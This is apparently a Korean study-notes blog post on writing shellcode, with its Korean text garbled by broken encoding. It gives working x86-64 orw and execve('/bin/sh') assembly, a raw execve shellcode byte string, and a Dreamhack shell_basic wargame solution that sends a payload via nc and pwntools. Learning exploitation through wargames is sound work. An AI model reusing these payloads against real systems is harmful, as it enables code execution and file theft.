TIL : Shellcode ๐
https://dreamhack.io/lecture/courses/50
Shellcode๋ exploit์ ์ํด ์ ์๋ assembly code ์กฐ๊ฐ์ ๋งํ๋ค.
๋ง์ฝ rip๋ฅผ ์์ ์ด ์์ฑํ shellcode๋ก ์ฎ๊ธธ ์ ์๋ค๋ฉด, ์ฌ์ค์ ์ํ๋ ๋ชจ๋ ๋ช ๋ น์ CPU์ ๋ด๋ฆด ์ ์๊ฒ ๋๋ค.
orw shellcode
์์ฌ ์ฝ๋
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
syscall
syscall | rax | arg0ย (rdi) | arg1ย (rsi) | arg2ย (rdx) |
---|---|---|---|---|
read | 0x00 | unsigned int fd | char *buf | size_t count |
write | 0x01 | unsigned int fd | const char *buf | size_t count |
open | 0x02 | const char *filename | int flags | umode_t mode |
assemly
;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
โ/tmp/flagโ๋ฅผ ๋ฃ์ ๋ little endian์ ๊ณ ๋ คํด์ผ ํ๊ณ , 8๊ธ์์ฉ ๋ค์งํ๋ค๋ ์ฌ์ค์ ๋์น์ง ๋ง์.
โalf/pmt/โ
โ 0x616c662f706d742f
โgโ
โ 0x67
skeleton code for compiling
__asm__(
".global run_sh\n"
"run_sh:\n"
"Input your shellcode here.\n"
"Each line of your shellcode should be\n"
"seperated by '\n'\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
assembly๋ฅผ skeleton code์ ๋ฃ์ ๋ค ์คํํ๋ฉด, ์ ธ์ฝ๋๊ฐ ์คํ๋์ด /tmp/flag์ ์ ์ฅ๋ ๋ฌธ์์ด์ด ์ถ๋ ฅ๋๋ค.
execve shellcode
execve shellcode๋ shell program์ ์คํํ๋ shellcode์ด๋ค.
์์ฌ ์ฝ๋
execve("/bin/sh", null, null);
syscall
syscall | rax | arg0ย (rdi) | arg1ย (rsi) | arg2ย (rdx) |
---|---|---|---|---|
execve | 0x3b | const char *filename | const char *const *argv | const char *const *envp |
assembly
`;Name: execve.S
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall ; execve("/bin/sh", null, null)
์์ ์ค์ผ๋ ํค ์ฝ๋์ assembly๋ฅผ ๋ฃ๊ณ ์คํํ๋ฉด, /bin/sh
๊ฐ ์คํ๋๋ค.
objdump๋ฅผ ์ด์ฉํ shellcode ์ถ์ถ
$ sudo apt-get install nasm
$ nasm -f elf shellcode.asm //assemble shellcode.asm
$ objdump -d shellcode.o //disassemble shellcode.o
shellcode.o: file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
0: 31 c0 xor %eax,%eax
2: 50 push %eax
3: 68 2f 2f 73 68 push $0x68732f2f
8: 68 2f 62 69 6e push $0x6e69622f
d: 89 e3 mov %esp,%ebx
f: 31 c9 xor %ecx,%ecx
11: 31 d2 xor %edx,%edx
13: b0 0b mov $0xb,%al
15: cd 80 int $0x80
$
$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331 1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80 .1.....
$
execve /bin/sh shellcode:
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
Wargame: shell_basic
์ฃผ์ด์ง ํ๋ก๊ทธ๋จ์ ์ ๋ ฅํ shellcode๋ฅผ ์คํํ๋ค.
/home/shell_basic/flag_name_is_loooooong
์ ์๋ flag๋ฅผ ๊ตฌํ๋ฉด ๋๋ค.
Solution 1 - ์ง์ assembly ์์ฑํ๊ธฐ
-
orw shellcode๋ฅผ ์์ฑํ๋ค.
์ด๋
/home/shell_basic/flag_name_is_loooooong
์ 8์์ฉ ๋์ด์ stack์ ๋ฃ์ด์ค์ผํจ์ ์ฃผ์ํ๋ค.gnoooooo
โ0x676e6f6f6f6f6f6f
โฆ
hs/emoh/
โ0x68732f656d6f682f
section .text global _start _start: push 0 mov rax, 0x676e6f6f6f6f6f6f push rax mov rax, 0x6c5f73695f656d61 push rax mov rax, 0x6e5f67616c662f63 push rax mov rax, 0x697361625f6c6c65 push rax mov rax, 0x68732f656d6f682f push rax mov rdi, rsp mov rax, 0x02 xor rsi, rsi xor rdx, rdx syscall mov rdi, rax mov rax, 0 mov rsi, rsp sub rsi, 0x30 mov rdx, 0x30 syscall mov rdi, 1 mov rax, 1 syscall
-
shellcode๋ฅผ binary ํํ๋ก ๋ณํํ๋ค.
$ nasm -f elf64 test.asm $ objcopy --dump-section .text=test.bin test.o
-
๋ณํํ binary๋ฅผ ๋ฌธ์ ์์ ์ฃผ์ด์ง ์ฃผ์๋ก ์ ์กํ๋ค.
$ cat test.bin | nc host3.dreamhack.games 12345
Solution 2 - pwntool ํ์ฉํ๊ธฐ
from pwn import *
r = remote('host3.dreamhack.games', 12345)
context.arch = 'amd64'
sh = shellcraft.amd64.open('/home/shell_basic/flag_name_is_loooooong')
sh += "sub rsp, 100\n"
sh += shellcraft.amd64.read('rax', 'rsp', 100)
sh += shellcraft.amd64.write(1, 'rsp', 100)
# print("sh:", sh)
mc = asm(sh)
r.send(mc)
r.interactive()
Leave a comment